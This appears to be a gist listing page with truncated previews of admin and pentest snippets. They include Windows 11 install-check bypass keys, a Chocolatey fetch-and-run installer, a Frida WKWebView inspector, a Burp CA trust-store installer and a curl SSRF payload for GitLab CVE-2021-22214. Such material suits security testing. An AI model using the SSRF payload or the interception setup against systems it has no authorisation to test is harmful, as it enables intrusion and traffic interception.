This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env bash | |
| set -e | |
| NETPLAN_FILE="/etc/netplan/50-cloud-init.yaml" | |
| BACKUP_FILE="/etc/netplan/50-cloud-init.yaml.bak.$(date +%s)" | |
| # Must be run as root | |
| if [[ $EUID -ne 0 ]]; then | |
| echo "Run as root" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env bash | |
| set -e | |
| # Re-run as root if not already | |
| if [[ $EUID -ne 0 ]]; then | |
| echo "[*] Re-running script as root..." | |
| exec sudo -E bash "$0" | |
| fi | |
| echo "[+] Running as root" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| @echo off | |
| reg add HKLM\System\Setup\LabConfig /v BypassTPMCheck /t reg_dword /d 0x00000001 /f | |
| reg add HKLM\System\Setup\LabConfig /v BypassSecureBootCheck /t reg_dword /d 0x00000001 /f | |
| reg add HKLM\System\Setup\LabConfig /v BypassRAMCheck /t reg_dword /d 0x00000001 /f | |
| reg add HKLM\System\Setup\LabConfig /v BypassStorageCheck /t reg_dword /d 0x00000001 /f | |
| reg add HKLM\System\Setup\LabConfig /v BypassCPUCheck /t reg_dword /d 0x00000001 /f |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <# | |
| Usage: | |
| .\sign.ps1 .\file.exe MyCertName | |
| #> | |
| param( | |
| [Parameter(Mandatory = $true)] | |
| [string]$FileToSign, | |
| [Parameter(Mandatory = $true)] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1')) | |
| # Download Edge | |
| cd ~\Downloads; Start-BitsTransfer "https://c2rsetup.officeapps.live.com/c2r/downloadEdge.aspx?platform=Default&source=EdgeStablePage&Channel=Stable&language=en&brand=M100" .\MicrosoftEdgeSetup.exe; Invoke-Expression .\MicrosoftEdgeSetup.exe | |
| choco install git |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| cd ~\Downloads; Start-BitsTransfer "https://c2rsetup.officeapps.live.com/c2r/downloadEdge.aspx?platform=Default&source=EdgeStablePage&Channel=Stable&language=en&brand=M100" .\MicrosoftEdgeSetup.exe; Invoke-Expression .\MicrosoftEdgeSetup.exe |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ObjC.choose(ObjC.classes['WKWebView'], { | |
| onMatch: function (wk) { | |
| console.log('onMatch: ', wk); | |
| console.log('URL: ', wk.URL().toString()); | |
| console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled()); | |
| console.log('allowFileAccessFromFileURLs: ', | |
| wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString()); | |
| console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString()); | |
| console.log('allowUniversalAccessFromFileURLs: ', | |
| wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString()); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # https://github.com/Vulnmachines/gitlab-cve-2021-22214/blob/main/cve-2021-22214 | |
| curl -s -show-error -H 'Content-Type: application/json' https://127.0.0.7/api/v4/ci/lint -data '{ "include_merged_yaml": true, "content": "include:n remote: http://SSRFIP:PORT/api/v1/targets?test.yml"}' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $ # HowTo set up AWS CLI version 2 to use Burp Suite | |
| $ | |
| $ # Requirements: Burp Suite, curl | |
| $ | |
| $ # 1. Installing AWS CLI version 2, configure and test | |
| $ | |
| $ curl https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip -o Downloads/awscliv2.zip | |
| % Total % Received % Xferd Average Speed Time Time Time Current | |
| Dload Upload Total Spent Left Speed | |
| 100 33.5M 100 33.5M 0 0 6825k 0 0:00:05 0:00:05 --:--:-- 7290k |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| # Set the URL to the Burp Suite CA certificate | |
| BURP_CERT_URL="http://burpserver:8080/cert" | |
| # Set the path to the system's CA certificates file | |
| CA_CERT_FILE="/etc/ssl/certs/ca-certificates.crt" | |
| # Download Burp Suite CA certificate | |
| curl -sSL "$BURP_CERT_URL" -o /tmp/burp-ca-cert.pem |
NewerOlder